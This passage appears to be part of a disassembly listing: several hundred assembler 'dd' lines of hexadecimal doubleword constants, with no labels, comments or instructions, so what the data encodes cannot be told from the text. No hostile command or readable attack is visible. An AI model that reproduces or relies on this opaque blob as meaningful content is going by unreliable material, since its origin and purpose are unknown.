		dd 0ACC13849h, 170A4160h, 8CA41F63h, 0BCFCC838h, 0AB168CAEh
		dd 0C0EF390h, 0C3F746C2h, 4CFF0168h, 5F413E03h,	0ED319740h
		dd 0F6105807h, 67244832h, 60B74434h, 93EC52h, 4611B01Ch
		dd 15E9169Bh, 9D31E712h, 0C2CA6805h, 1B7F38CCh,	0A0448A93h
		dd 4376CDC8h, 0AF16A804h, 80889FA9h, 808B9877h,	63DF0FF4h
		dd 5C97184Ah, 1BBC7940h, 50925340h, 8C0494E3h, 75DD4604h
		dd 4862D1C4h, 0DD3E9B20h, 0BCDC0006h, 0D4ACF34Fh, 0A2179F15h
		dd 6440531Ah, 18C29E16h, 1051692Bh, 0AC9D85F5h,	0DA54CC01h
		dd 3C2D5EABh, 15023688h, 508F0D9Eh, 1F160AECh, 96C4307h
		dd 0EC00AE7Eh, 0ED7BCD60h, 8062CB4Bh, 7B2008F7h, 0F431E2DAh
		dd 545D6270h, 3DFFB04Eh, 15829F5Bh, 0CE592458h,	0F74D3450h
		dd 48E0060h, 118D5C9Fh,	76B412C9h, 0D8BC40A9h, 0E06D097Bh
		dd 2E357500h, 3BAB940Ah, 3F482A41h, 4D7AF09Ch, 0F402AC13h
		dd 46991826h, 0E5D4C848h, 0E089226Fh, 0CE720AF0h, 82EE002Dh
		dd 680B37F1h, 0FD78F681h, 0FFDBE707h, 805E99DDh, 2D5E264h
		dd 0EEEC38E0h, 0C9E97083h, 5EA366FCh, 2BE8688Bh, 0F00790F5h
		dd 0E492943Ah, 0FA695850h, 552200E9h, 6BFF38E0h, 213CF5EAh
		dd 38AEF868h, 0F53CEBFAh, 18A574FAh, 3C080646h,	2B307EF0h
		dd 0BD77FB0h, 0BC867228h, 0EFEB8F00h, 5F8706FDh, 0E66E1D01h
		dd 89750F2Bh, 0E4586000h, 0A186BDAh, 0CFD1CA55h, 0B74784Fh
		dd 8707243Bh, 4364432h,	3FD28C13h, 0B7D18421h, 17120420h
		dd 28061Fh, 8C88F78h, 495CACAEh, 98682420h, 79561DB9h
		dd 0FB18AD98h, 50409836h, 90DE0858h, 631800A0h,	0E18D317Ch
		dd 0AF306084h, 2FDA5908h, 8C00B249h, 883A680Ch,	8D09E20Ch
		dd 2B0C6860h, 32816318h, 6008C758h, 4D01796Ch, 0B8591BC0h
		dd 0E90C3074h, 612FE111h, 0A0F55946h, 0CF78504Ch, 58A0E1F6h
		dd 7C873242h, 0BFB06A53h, 527E877Ah, 1DFC5807h,	5EE89B13h
		dd 990FC4Fh, 46CC20CDh,	0C094F138h, 0CDDCC28h, 0DE144AC4h
		dd 0B0C1843h, 9044425Fh
		dd 2C80C1D0h, 0EC8DDF7h, 1620851Eh, 20DA9E9Dh, 0CA910CA0h
		dd 1C41D84Ah, 5569C714h, 55E0060h, 0C52B3A1Ah, 0CF1C8719h
		dd 2A453C91h, 163F9895h, 0D9B160BBh, 53495C0Ah,	7CA2645Ah
		dd 15F58320h, 8C0A551Fh, 12D5BC02h, 482B54C1h, 7896E7B8h
		dd 0D1910939h, 0E27421ECh, 0F84C184Ah, 65E0A084h, 425C9855h
		dd 22484805h, 0D1921E6Ch, 1894ADFFh, 519C8C83h,	1F2EA8E4h
		dd 0A6C480DDh, 7D984C7Ch, 0AC90C484h, 4DDD4620h, 5ED40868h
		dd 6585760Fh, 88301259h, 0FA4AE38Fh, 426490DDh,	0FDB0A3Fh
		dd 153B48D6h, 1EE047A3h, 51925D18h, 25410C22h, 88807355h
		dd 2D0C9946h, 0FB9400BFh, 0B346F40Bh, 0C088FA04h, 66016088h
		dd 9450F559h, 0B844B1F4h, 887CEC91h, 0DF177955h, 88294BCAh
		dd 95C82847h, 92CD80DAh, 630C1899h, 8013ECBAh, 0C3F2E1Ah
		dd 954A988h, 9FEDE7CCh,	1298A819h, 5080B992h, 0B0C99A3h
		dd 8CA4351Fh, 0F29C8F84h, 0FE443D1Dh, 5FD0F534h, 634C21A0h
		dd 1DF214C6h, 0A253C85Ah, 857458D8h, 78E15776h,	4721505Fh
		dd 189F9650h, 5141CB46h, 0A8A461EAh, 630CACB1h,	0A6487993h
		dd 2431DFD8h, 52C2D958h, 2C67DE4Ch, 8DACEAF8h, 0FDC54676h
		dd 98FFEC07h, 0DD8D10h,	28022687h, 0ADD1AF5Fh, 7D7818D4h
		dd 16A03E50h, 79CC1F55h, 0C3D80D8h, 7B15503h, 790FDFC1h
		dd 6F71CC99h, 3248BB40h, 498939C0h, 93993C98h, 0C8149A23h
		dd 813CA3E8h, 1CD74532h, 81F1BE1h, 0BA61218Dh, 311FE185h
		dd 33E819A7h, 0A501E02Ch, 0FA68EF2Dh, 3ED02CE6h, 0FB2A009Ch
		dd 0DD6509D9h, 6CFD00E9h, 70FFB055h, 6BE82BEBh,	94F0D015h
		dd 6DFCF14h, 7C3069F8h,	0D7E63EEEh, 0E9F97008h,	2143EA1Eh
		dd 80EFFA59h, 5FAB83h, 0DCE17F62h, 2BA5DDF0h, 0AC550B19h
		dd 0EFE46F18h, 71664BF9h, 0D0E8A5D0h, 0F23ACE71h, 0DAFC06EDh
		dd 187854EFh, 31DE70F5h, 0ED61D9E9h, 0E56AEF59h, 10220C4Dh
		dd 0C2CA500h, 24F3FA83h, 0DAE66C14h, 2CE92788h,	0B054291Ch
		dd 294E1020h, 0A49688FBh, 0EB98093Ch, 315BB006h, 8378A890h
		dd 6A2D7890h, 0C748A0E8h, 27CDF7F1h, 0DC0E1484h, 0A0489485h
		dd 1CB47764h, 14A21865h, 0C0BE5513h, 211465F8h,	2090BB0Ch
		dd 222A13Ch, 4FE2EC25h,	0C6864C0h, 0E06451CEh, 6A4232A8h
		dd 20689660h, 63804C49h, 0EDF89AFFh, 0DEAA1841h, 0B5211100h
		dd 443C68DFh, 88875464h, 0FE8B34C8h, 452C0781h,	0AE888840h
		dd 0A3760A9Eh, 41FF4040h, 62404F44h, 609E58D4h,	1888BF11h
		dd 8981EA76h, 0E879C5C6h, 1A2C0801h, 0CEAF1285h, 9FE7C844h
		dd 2259BCD0h, 4A942649h, 1B9E8B34h, 88B2080Bh, 355C4C61h
		dd 6AC39A8h, 37B3170Ch,	0C361FE31h, 27E84CB9h, 50C46948h
		dd 0FC9433A6h, 6708FDE0h, 0A04C5824h, 1049DEC0h, 30DFB0F8h
		dd 3C45CDD2h, 4C139C9Eh, 53B1E41Ah, 86CA40Ch, 0C0213E4Fh
		dd 18C89E01h, 30B893C9h, 8A38A6A4h, 284C17DEh, 23274654h
		dd 11196095h, 0A4A4ADAFh, 584CDB21h, 23845553h,	0B8313DA0h
		dd 210B9FEFh, 5C0A08D1h, 8964356h, 614490E0h, 42EB18C7h
		dd 0C4154228h, 54DA21D0h, 660C20Fh, 8863943h, 0F3554312h
		dd 5062A59Ch, 1AAA1174h, 62A7A885h, 6211A228h, 3884504Fh
		dd 84A5289Ah, 0E1287A53h, 210AAF94h, 0A83211AAh, 0C80156B0h
		dd 22606313h, 6C68145Ch, 948BC71Dh, 406860C8h, 2E2C1962h
		dd 464314BBh, 0E031E977h, 55208C32h, 0C098E344h, 0F6C2DFA1h
		dd 4619523Ch, 0BC919FCBh, 21913987h, 57F3AF7Eh,	968890B4h
		dd 0A3F4688h, 95486684h, 33CB2910h, 0A458A138h,	0A44512A4h
		dd 4D6513A0h, 3C7076E1h, 308F03C6h, 2611CB1Dh, 0AF52086Ah
		dd 64E826A0h, 9481BC9h,	0D84F449h, 0D1F0F013h, 0AC94D94Fh
		dd 6CD68365h, 0FD988031h, 0DE422074h, 0FC1F2E00h, 0E97122F0h
		dd 6BF92DFEh, 3D1D6A58h, 0F02CDCE6h, 7262DB00h,	962ACDh
		dd 0F52E87CCh, 0EFDCB582h, 0FEE06B05h, 0F88065F0h, 0FEDD5434h
		dd 0DF3D3AEDh, 0F628F833h, 0EFE7100Fh, 0E9FB80F0h, 5CDE680Bh
		dd 0E00310FEh, 0D47E342Ah, 6167F3C1h, 0EBFC30F4h, 0EEE710F1h
		dd 0B0E8287Eh, 7D048D7Ch, 0EBD205C7h, 0EAB440E9h, 55EF0AB0h
		dd 50185EF9h, 98BA7263h, 22606C94h, 20508DDh, 0AF627A02h
		dd 4C00470Dh, 806627C0h, 68268460h, 0C7824C59h,	0E3421B80h
		dd 4DBC8C0h, 20E8B83Eh,	0C14C2514h, 27A00244h, 68D7208Fh
		dd 3572BD8h, 0C2788113h, 69E19D62h, 0C206029h, 488858h
		dd 6AA8E799h, 2E9121C7h, 0BC1C0BB1h, 9270884Fh,	4070105Ch
		dd 0DD18FB40h, 0F5D9DEDCh, 55653A9Eh, 79676378h, 84A0EF9Fh
		dd 47546D4Bh, 0DD02927Ch, 1EBBA238h, 4907365Fh,	5096D918h
		dd 82171283h, 6347813h,	0E0C3855h, 9031688Eh, 1561308Ah
		dd 43DF891h, 0B956104Ch, 400B00F4h, 41FDA39h, 0EB4F1711h
		dd 31970DFDh, 0A5AD4C30h, 6C9028Ch, 0C13C1ECFh,	0BE148381h
		dd 67486039h, 599C9094h, 2C901580h, 0BC4B63C6h,	0E5DD8088h
		dd 0DA56DBC0h, 0C4458709h, 51FC5AE0h, 12E34858h, 674E0C48h
		dd 6415A928h, 705924E6h, 0CAE63E46h, 8CAB1B00h,	0B9317BCh
		dd 50ED0800h, 34DBE468h, 0EFEB0370h, 0F1FC6C09h, 78CC7FC2h
		dd 0DD5060E3h, 5467EF2Ch, 993E013Eh, 0E8404DD0h, 0A7028838h
		dd 0B8C59892h, 0C5F74499h, 0D9B3CC47h, 0B445ED14h, 3760C304h
		dd 9AADE2F3h, 8B08000Ch, 0F965FDF6h, 30985512h,	9454CA80h
		dd 9DF85A08h, 5FAF986h,	20A03A48h, 914644Dh, 291050C4h
		dd 189508D6h, 85D458B4h, 30684D70h, 8C31CEA0h, 9AA21094h
		dd 74492E26h, 88C8C0Ah,	2828FF8h, 4971470h, 0E09CDB44h
		dd 0A4A714C3h, 107F4E0Ch, 50428CCCh, 28C8004h, 0A1809604h
		dd 899EA344h, 24A0129Dh, 91AA489Fh, 44AC22A9h, 9589969Bh
		dd 97269812h, 0E0422009h, 8A444144h, 8E991CD4h,	3CE08D09h
		dd 6047937h, 785A3B86h,	5B32C199h, 9659B84Ch, 4AA5284h
		dd 0E06514EBh, 0BCAC2808h, 889E7F0Eh, 4E5BE091h, 0F83DE001h
		dd 98DD78C4h, 554300CFh, 9E6A9489h, 5C7193E6h, 4475CE74h
		dd 4C791678h, 0A05440CFh, 3E29104Eh, 9024505Fh,	0E3493E77h
		dd 0E093F482h, 4853A7EBh, 41FFA5Fh, 4B4B56FDh, 2EC148Ch
		dd 890B4ECEh, 88565C39h, 4AE97E3Eh, 0E9CEB038h,	858D22EEh
		dd 0EDD9AB0Ah, 0AA11048Bh, 40B3845h, 0D9B0AEFAh, 4DFC4575h
		dd 0C8EE8801h, 0DE20AA55h, 19D72185h, 0C0382A4Eh, 0AA83D19Ch
		dd 43DD1F1Fh, 607FFED7h, 0B2EB1859h, 0CA0212CCh, 4C90DA5Bh
		dd 141C8740h, 86C436C0h, 0B52214EAh, 418B284Bh,	40E3E4D4h
		dd 0C9BCB60h, 94F95C41h, 0FD004130h, 0A9935B0Bh, 0E48FAB8Eh
		dd 494D006Eh, 9631EEEAh, 0D17C5919h, 0F6DBD20Eh, 3DE220CDh
		dd 0D5F1151h, 0DDF4FDFFh, 413FC90h, 0C51D8F18h,	0E915CAE1h
		dd 124752C8h, 0FFB5C84Ch, 6B60B800h, 0C35EB65h,	0C4C290A9h
		dd 16008131h, 6B5DE39Ah, 6CB513h, 0EC236383h, 36AA7D3Fh
		dd 72204600h, 0F1914945h, 0D180E9E6h, 61FA5EB3h, 0CF00F6B8h
		dd 18108473h, 1EEA42AFh, 0DE747625h, 2D073DEDh,	93D9F815h
		dd 0C546A0h, 0CE3F5084h, 35615C7Bh, 6CC04F50h, 80555880h
		dd 0D7E07F39h, 0AA17D30Ch, 3CEFA699h, 0A438E2C9h, 0B01A1180h
		dd 9F40A2FDh, 3974A500h, 0DD808F59h, 0A0D873B8h, 7B70F990h
		dd 6EFD0052h, 7FFB40E1h, 0EA7CE02Eh, 4CAE4E07h,	0C04E52CEh
		dd 9955508Ch, 0F8327411h
		dd 1FCF5D7h, 9140C07Ah,	554C76Eh, 5A39EB05h, 404014F7h
		dd 366F8A55h, 3ED3F03Fh, 780FBC53h, 0CD0A4C52h,	3F984C30h
		dd 804B4314h, 4EECC11Ch, 0E000FC42h, 391DA29Ah,	0D33F8A4Ch
		dd 8C532860h, 455142Bh,	608A4370h, 0AE4B7080h, 7CE8821Dh
		dd 18ACDFFEh, 526EF600h, 0CB6D0659h, 0B78C3F89h, 114BB08Ah
		dd 0AE3AC02Ch, 390073FDh, 53B38BAFh, 56B7B494h,	0E03F382Fh
		dd 94798580h, 3E3C75AFh, 1478F929h, 11E04048h, 3469431h
		dd 0F7441488h, 0B4A14E7Eh, 40F857A2h, 0AD8EB7E0h, 3D5A94A5h
		dd 8F007C04h, 0B527CEB1h, 3E1CD3A5h, 9002ECA3h,	0C66EB4AFh
		dd 3A800860h, 883C3498h, 7C004D37h, 92854B00h, 0E0BFD8AFh
		dd 989293h, 2179F74Ah, 0DD7DB48Ch, 404E4026h, 0C012AE1Eh
		dd 6D3CA801h, 2033AF2Fh, 941DAD07h, 4A3682FCh, 5024EC43h
		dd 206174F7h, 28D345EEh, 8560D890h, 0ADC27F04h,	0A2304030h
		dd 384C053Ch, 925BC3CFh, 404C8090h, 9587949h, 0D78A5C73h
		dd 0B78F0C8Eh, 7F049000h, 0FD3CAF4Eh, 0F93D0CB8h, 4C4B4075h
		dd 383AC070h, 4C593B00h, 4D42C6B1h, 8C10A8E9h, 0F8DD5512h
		dd 641B000h, 0E4BE08Bh,	42C7748Ah, 7F04CA8Fh, 3CA08088h
		dd 10C67001h, 2460894Ch, 30AC8BFEh, 540C758h, 0C3FF73FCh
		dd 91C38E9Fh, 0F9D3E2A2h, 8F80C81Eh, 9B42360Eh,	0E138A330h
		dd 0A1BA41E2h, 0C3004B3Eh, 0DD89F7ADh, 63FF0558h, 0EA044318h
		dd 0A1F828A5h, 3C54C33Ch, 0C0D45CB4h, 5BCB7A46h, 60805838h
		dd 0D70E81CFh, 0B4FD47C0h, 0CCB844E0h, 1893B8ACh, 7D904A84h
		dd 10FF087h, 70F74273h,	0E82043D1h, 7CFAE439h, 0A130C67Bh
		dd 309058C7h, 0A28AB000h, 77F9AE34h, 0F5C09179h, 67F8BDF2h
		dd 6FFBD240h, 779DC4C0h, 2CB43458h, 0B1E2E47Fh,	580C6C50h
		dd 4D0F987Eh, 7B9E37A1h, 6FD89074h, 5396287Fh, 6C452A8h
		dd 94EB41Ch, 0C442E02Ch, 9E4FE429h, 0C0D038B4h,	5C41581Bh
		dd 910E204Ch, 0D9F6FF7h, 0F1687FFDh, 43FF0A2h, 20E0A12Eh
		dd 14906249h, 0F93C902Ch, 0C76D8083h, 86A78A58h, 0DD0158B1h
		dd 3AA1FB7Fh, 5F34DB0h,	581646B0h, 8118348Eh, 360C7950h
		dd 7AE4BF38h, 8807BE04h, 2BB4822Fh, 81088464h, 7837794Eh
		dd 18A7AF90h, 0C8922D45h, 8002E0C7h, 3E4C5A39h,	52CD8350h
		dd 0C76F808Fh, 2ED8B05Bh, 81649039h, 347F0440h,	0B3405555h
		dd 50B528F8h, 23D3380Eh, 0DDDF82A1h, 4B20E9ADh,	7C3F8BC0h
		dd 0CB7F2755h, 4C504480h, 395CA101h, 182D9D78h,	0E8BB53D4h
		dd 42320770h, 41DD8C4Eh, 0E0527706h, 8CB8CF4Ch,	4D73010Bh
		dd 2E908044h, 7CB1A190h, 50C08232h, 3660895Fh, 4CB85221h
		dd 3F4E3A73h, 423C8C0Bh, 0B65580A4h, 96DF0CC8h,	0F6EB68A1h
		dd 51E0B81Ah, 0E8618073h, 9AA0340Bh, 592F5273h,	1750BA4Ch
		dd 759A6068h, 90BEAF3Ch, 3974A0E0h, 73F0A05Ch, 0ECA83AB9h
		dd 0C08AB51Dh, 7938AE3Ch, 21C0413Bh, 0DD6D9055h, 70FB0258h
		dd 0B4064336h, 6CE93070h, 81D8C4E0h, 380D80E1h,	8FF3104Bh
		dd 4BDD74E0h, 0D7FEB3Ah, 287D0149h, 2474607Ch, 201C739Dh
		dd 47C40CDCh, 0FD207801h, 0ADC77C07h, 40417DF9h, 0B838A2F7h
		dd 11C5E05Dh, 0DEC40A2Ch, 98C2180h, 0F8CCB4D2h,	423E36FAh
		dd 0AE230CFCh, 51AF88F7h, 0A407DC4Bh, 0D820D03Ah, 0DEF044E8h
		dd 0FB433F09h, 0A048F75h, 0F9078084h, 0E261526Dh, 0B0424E17h
		dd 0B1F0A670h, 0A1FE1760h, 0B7DCCC13h, 5195078h, 0B11851B4h
		dd 6D01C841h, 0DC4C5849h, 586C4B20h, 0C6733060h, 0D430835Ah
		dd 4888B04Eh, 0F9294475h, 6432A5F4h, 6F48F07Ah,	300F4E20h
		dd 36DA8159h, 0B8B34CAEh, 0C040D7E8h, 209839F0h, 0D47F18B9h
		dd 0FE433E02h, 6058C470h, 0AB2FDCh, 0E052A201h,	0E3B66062h
		dd 3AB731C0h, 8B3CC2h, 0EF7FF57Ch, 60DFC633h, 762B5B07h
		dd 5330DDE9h, 0C01D80AAh, 1F29B461h, 0E203ACB5h, 3293DC9Bh
		dd 1CA39Ch, 1F41EA21h, 44E77CEBh, 0D90196FEh, 71C3DC78h
		dd 50911A67h, 1F2C80ABh, 8CCAACB6h, 53C820h, 1C1F24E9h
		dd 4DC52C06h, 8D0F4E0Ch, 6029D41Eh, 535F58C9h, 0B0C78FF3h
		dd 5A10E014h, 0F29C0A67h, 4C55062Ah, 804084F1h,	0FC503C7Ch
		dd 7400D480h, 0FA7EC8A3h, 60764764h, 0F4A306Eh,	0F00CD9B2h
		dd 20C0D36Ch, 64700AD7h, 7820EB90h, 0EA430367h,	3D25D300h
		dd 0AD9C868Ah, 3FAE9500h, 5CD84648h, 7C190C7Bh,	4518F8FAh
		dd 0BB2A83F4h, 8000CCDEh, 61265EB1h, 3357BDA6h,	0D4089E79h
		dd 0A9B92100h, 4E30955Eh, 64C63E7Dh, 60E71181h,	40544B0Bh
		dd 0C9899D84h, 0E0903B50h, 0EE2C4C14h, 3180C868h, 25DA7780h
		dd 98C89F20h, 91CE84ABh, 0E06F10h, 62964CD8h, 0F06FA80h
		dd 298284Dh, 0D9C83C83h, 0DB375900h, 0D86190B0h, 58FC3D77h
		dd 21F30866h, 0B0849800h, 0D91DE20Eh, 0E3FA27h,	1C512CA3h
		dd 0C290D497h, 80D7F22Ah, 39E9C130h, 0F1B96D1h,	34EE1582h
		dd 866DA6E0h, 60EEB34Dh, 0C3212B0Ah, 0E831FC85h, 0BD10E6C0h
		dd 27051CFDh, 0A04AFCF3h, 5B94B9C0h, 9AD1E713h,	0B14567D5h
		dd 0E1452045h, 40EDA808h, 8F250E4Bh, 87546312h,	0C0BBC025h
		dd 0DDCEFA78h, 96BE1105h, 1C309EB0h, 608F23C4h,	97D78950h
		dd 0B701A5E9h, 2A33730Dh, 12202B85h, 10893DAh, 612D5EB6h
		dd 0E3D6184Eh, 5DEEBA00h, 3551311Ch, 3703DE92h,	1EDDD7C2h
		dd 54296741h, 0C452C8D9h, 5075A050h, 610B08E6h,	58AAC965h
		dd 1850204Ch, 46ED2500h, 24D8FD2Fh, 17B92483h, 0C1F018AEh
		dd 9098F62h, 22AE8CFh, 22BF0730h, 0CC40566Fh, 0C98877E7h
		dd 15A772CEh, 804F1FD8h, 64485B84h, 5E81C62h, 7DB4618Bh
		dd 997B18FCh, 551A782Ch, 76E10F86h, 9D06A998h, 9F006170h
		dd 857FB472h, 50953809h, 949046h, 5462F7D1h, 0CFEE039h
		dd 75316E60h, 3711B93h,	203CB3D6h, 830BBECh, 0AB322167h
		dd 0B68001Bh, 4306BFE3h, 8F15637Fh, 0FC9CEC25h,	1CC54869h
		dd 9F248BA4h, 3CC0D6D0h, 49AB7D28h, 2F5AF0Fh, 0DC20525Ch
		dd 30A495FDh, 2811E4C0h, 5F0020EEh, 0FFE32DEh, 75416274h
		dd 0D5AB0EC9h, 0C8DA775Ch, 0F2D69407h, 88FBFAFh, 1C105FE9h
		dd 1D448F40h, 20D804ECh, 8A473EF6h, 621CC8BCh, 6100DE10h
		dd 0A26AD75Bh, 808C0298h, 11284F4Ah, 9D2043EAh,	0C581B691h
		dd 575A98E5h, 96644AE8h, 66530158h, 0E135D201h,	20C26ECh
		dd 0D6871B8Dh, 30021C43h, 0B6931BA5h, 35CBC05Bh, 8F6116C7h
		dd 0D65C402Dh, 0B326621Fh, 5827743Ch, 94EA0018h, 44FF39A8h
		dd 70F1062Ch, 6860192Fh, 28054C0Ah, 8009B8C2h, 0E114201Fh
		dd 6725F13h, 5074D80Ch,	570220E6h, 27336D03h, 0D7A661ABh
		dd 8408B044h, 3C28943Bh, 3CEFFE83h, 0E51DA9A0h,	30C320Ch
		dd 90AB285Dh, 40436F16h, 94A5B22h, 0E0A51102h, 0C31F6724h
		dd 2CDCF129h, 73636908h, 0F26A075Fh, 9F184C28h,	0B9158030h
		dd 4819A461h, 2E03155Eh, 0CC448DFCh, 573997D9h,	0F0481790h
		dd 473E3A4h, 3842142Ch,	92B071C0h, 22A84661h, 0DAAE00F2h
		dd 0A070CAB0h, 571D67ADh, 53061A68h, 90987DDFh,	39802098h
		dd 0C1783354h, 0ACF9ED26h, 7063AB41h, 30F11C24h, 2731D119h
		dd 1868F2CBh, 7B08ACD9h, 5D93005Ch, 69B89A1Ah, 53303A7Ah
		dd 56D81855h, 0CBEF284Dh, 0BFF01D0h, 95301671h,	582BFD89h
		dd 853E8A44h, 1E3C52A1h, 8F5464E7h, 658081C0h, 8808565Bh
		dd 595AD1C0h, 93F18F6h
		dd 0F9BD9F1Eh, 0C033C407h, 48167352h, 0AB3C2C78h, 554E9475h
		dd 0D7FB843Ch, 1860248Ch, 40E2F98Fh, 115104Ah, 80C44014h
		dd 618CB087h, 2D448C78h, 0B0D0009Ch, 85754A41h,	5828E4FEh
		dd 0C7209815h, 7C0B246Eh, 5F28F98h, 3AD51EC1h, 34CAD0CEh
		dd 960218E4h, 0B5565240h, 90A89B39h, 497151h, 0BBE3BD0h
		dd 0E1C0D5C1h, 0BBFE79C0h, 7FF0E68Ah, 98E90A3Fh, 43742A9Ch
		dd 0E1AAA1ABh, 8A006C45h, 67622AD8h, 7CE551C2h,	49F18430h
		dd 6C09DC7Eh, 9C030ECFh, 97D79F60h, 0A830C9E7h,	0D824C2AEh
		dd 0BCA024FBh, 47C06F00h, 5EBF2FCBh, 118F175Fh,	0ECC45487h
		dd 47C800D2h, 75CFAB61h, 204E3C91h, 0FC60F429h,	0D8040506h
		dd 41B8BF64h, 88399FD4h, 5E444CE9h, 0B1301670h,	0BB4840DEh
		dd 2EE40B4Ch, 88109EE6h, 160D31D6h, 0F0E7562Fh,	0FD002426h
		dd 156D5851h, 755C5C04h, 9ED683B0h, 0D4410554h,	231CE364h
		dd 89636988h, 24B30718h, 64441D48h, 5AAC9232h, 36001E0Ah
		dd 0E140A93Fh, 57733264h, 786CDB18h, 18253CA1h,	97B01DDCh
		dd 0F411A361h, 0CE815C7Dh, 60E28500h, 0EAE50896h, 940EAA24h
		dd 0FC46740Ah, 5D537650h, 2880308Fh, 2AACB21Fh,	19229C43h
		dd 1F40DD01h, 815F7CA4h, 8053C4C4h, 30006A4Fh, 0A2C3C3Bh
		dd 5F5DC8h, 0D5AC3146h,	0A51290D2h, 6583F00h, 74A7AB83h
		dd 0BF0A1623h, 0DFA8058Bh, 57A40229h, 784CD04Fh, 0ED4060E3h
		dd 1B92048Ch, 624BD672h, 0AA332064h, 86FE411Bh,	816A8E38h
		dd 0A1AC4D09h, 824F521h, 0D9A20214h, 0A451E573h, 9524FC6Ch
		dd 8CE18C45h, 0B4213615h, 0BC4C9023h, 48901D20h, 0CF5D8808h
		dd 428C427Fh, 147C7900h, 0EF322C77h, 2B5C208h, 0EFE42865h
		dd 16020067h, 0FE0F84D2h, 6094BB93h, 8A41368Ch,	5CD72497h
		dd 2F06403Ch, 5380E1BEh, 5DBA1271h, 87035DAh, 85C03E2Ch
		dd 4B6196B0h, 9A642C88h, 49B0CE00h, 75EE7265h, 0F0A2687h
		dd 0A4390001h, 794354E6h, 9F3E2499h, 0E04A0416h, 97C0DCEAh
		dd 46D6851Bh, 692293h, 521B8F2Eh, 6362404Fh, 1F0B5C00h
		dd 0F827D873h, 0A1013B95h, 3F843C58h, 813B0721h, 0B1AFF5C1h
		dd 9B0C0033h, 2959730Ch, 0A751351Ch, 80008E5Ch,	964F2DBFh
		dd 46E212BEh, 26B8294Dh, 0E7C9B0F4h, 6D200C02h,	4248C357h
		dd 0EC959713h, 4D62C28h, 6359C051h, 60B0C02Bh, 0B89AAA2Fh
		dd 5F74D40Ch, 1F40C01Dh, 26EB8597h, 0AC9AE06Ch,	0CA406101h
		dd 89E260C8h, 7B12B1BCh, 3FC5303h, 0C8486B08h, 9993E5D6h
		dd 975C8658h, 0B00088C7h, 4EA5F489h, 0F664D651h, 441C91E4h
		dd 1E7888BDh, 434853Ch,	0DCC1C529h, 0EDC8B4F4h,	3F858180h
		dd 0C151F30Fh, 65962603h, 39F5F49Fh, 848D748h, 375D7604h
		dd 8598C82Bh, 823F21C9h, 0E710FFCh, 0C86CD361h,	0D7908E11h
		dd 711D4CC1h, 84D82546h, 5EB00498h, 9E612713h, 0A00028CBh
		dd 0A5EE5EA8h, 0E31D9D25h, 0C868B84h, 5B9DBC1h,	0C7AB8528h
		dd 7F38807Bh, 73010D07h, 0F2B14790h, 6EF593BAh,	80CF7891h
		dd 612A5EB5h, 29C04E06h, 5DEDFC5Ch, 0A04FAB8h, 275B7845h
		dd 0D505B4C3h, 3FFD7CC1h, 51005806h, 0E2E0F63Dh, 59FF654Ch
		dd 2F096CC1h, 0C19D22Eh, 10C8070Eh, 333702CEh, 60A551E6h
		dd 8080AB60h, 65184A28h, 7F300FE3h, 39DC9A0Dh, 0D28F8AA9h
		dd 44C0AC28h, 33636F3Dh, 36D6681Fh, 897FA5C1h, 31972980h
		dd 0C59800AEh, 9065ABC7h, 913A9677h, 0EC084FB1h, 5EA7C0D9h
		dd 18FF612Ch, 0FFBB88EAh, 33865D00h, 4988131Ah,	0D470B444h
		dd 79FABE21h, 8F7BD827h, 0CB858D1Ch, 0FFB443C3h, 971003CFh
		dd 0A4BA1017h, 24FA2000h, 99743689h, 0ABC100A5h, 0B4933ADFh
		dd 81E9A22Fh, 444A8030h, 517017DEh, 4F1F339Bh, 217A8C08h
		dd 0B8444201h, 96A21819h, 52065880h, 92999C38h,	9A07D3F8h
		dd 83FB4D97h, 6593A040h, 45E100E2h, 8F7CC3FEh, 8CCDB06h
		dd 3C0216Bh, 6CB7E1EAh,	0BBDA2AB2h, 360F66E0h, 0C0609960h
		dd 3041A0ADh, 8530961Dh, 0D2004A77h, 0AF4D10AAh, 0CC5D1881h
		dd 0D521A908h, 0FD25200h, 0D3268D22h, 0A6650017h, 0DAAE589Dh
		dd 986730F3h, 0DBC010D1h, 0E864C119h, 0E5D80FE2h, 84A068D1h
		dd 0B3E3987Fh, 9E06A8EEh, 6AF90218h, 19B90718h,	0BF6707D5h
		dd 0A8904A86h, 0E40EB506h, 0E307417h, 1C140D1Ah, 80AB84E7h
		dd 800CFE43h, 9976A307h, 2BC3CE47h, 108806A1h, 3869581Ch
		dd 979B4B1Ch, 0E401A0EBh, 0B3FE47E1h, 0C2887218h, 0FCE106ECh
		dd 0D99430BBh, 2CC8785Ch, 0F503A06Ch, 0F0EC8F60h, 0F41816E1h
		dd 7FA130B8h, 92D0E5C8h, 8730107Fh, 0FC3D805Fh,	8DE0312Ch
		dd 0E8C2A5A8h, 98296E02h, 96056809h, 0B85B99FCh, 151D2F8h
		dd 889B8D12h, 83A60220h, 83E01C5Ah, 0A0943837h,	90FD96C2h
		dd 5EED92E8h, 360EFCC3h, 2A2078B1h, 0A1901A02h,	47184400h
		dd 1023D27Bh, 5AB1155h,	2D24FD8h, 77A8AC06h, 4CCA1A99h
		dd 5863F8A2h, 0A0A7ADF2h, 0B037019Fh, 9BB8C404h, 0DA0140A0h
		dd 0C7AC51D0h, 0B6044B5h, 0E3115Bh, 0F39BBE21h,	1CDC280h
		dd 109EAC24h, 5C085834h, 0D243C040h, 354610A9h,	0DC00A322h
		dd 0A8B1D24Bh, 9E3791h,	0DF02BC19h, 67C1EAB9h, 0C880E6E9h
		dd 43DCCA13h, 0F959B0Eh, 0FE40980Ah, 94B43324h,	96E1DDC0h
		dd 810C359Eh, 0BB17AF91h, 0E4D0AEA2h, 0A6081F59h, 1C78069Eh
		dd 0E507E19Ah, 4D7D6F4Ch, 72BCCAA1h, 0CA59D09Dh, 12A47EC4h
		dd 4F50084Eh, 4BE1E0C0h, 22D346FEh, 0E8C60069h,	96848AE1h
		dd 0D426C4A4h, 0CD046FEBh, 0B1807A13h, 1A4A1EAFh, 0A83B3621h
		dd 4504484Ch, 5F17E144h, 3D005E38h, 5DEB0144h, 4887652Ah
		dd 0C0D0E0E6h, 0E8C9FE8h, 71EDF4FAh, 83E36EA1h,	87003274h
		dd 0CA0219B7h, 78B08792h, 191A3E6h, 42A6494Dh, 517AFBD1h
		dd 0C455E880h, 5F004362h, 50BF0938h, 0C2868F39h, 141C2020h
		dd 34617D41h, 6431F21Ch, 21926887h, 42A05984h, 6070881Eh
		dd 0D9E87A00h, 706D94B7h, 6F9D0048h, 17623311h,	19392F82h
		dd 78886055h, 60B8EC85h, 0AAB34991h, 1C034456h,	149C7B99h
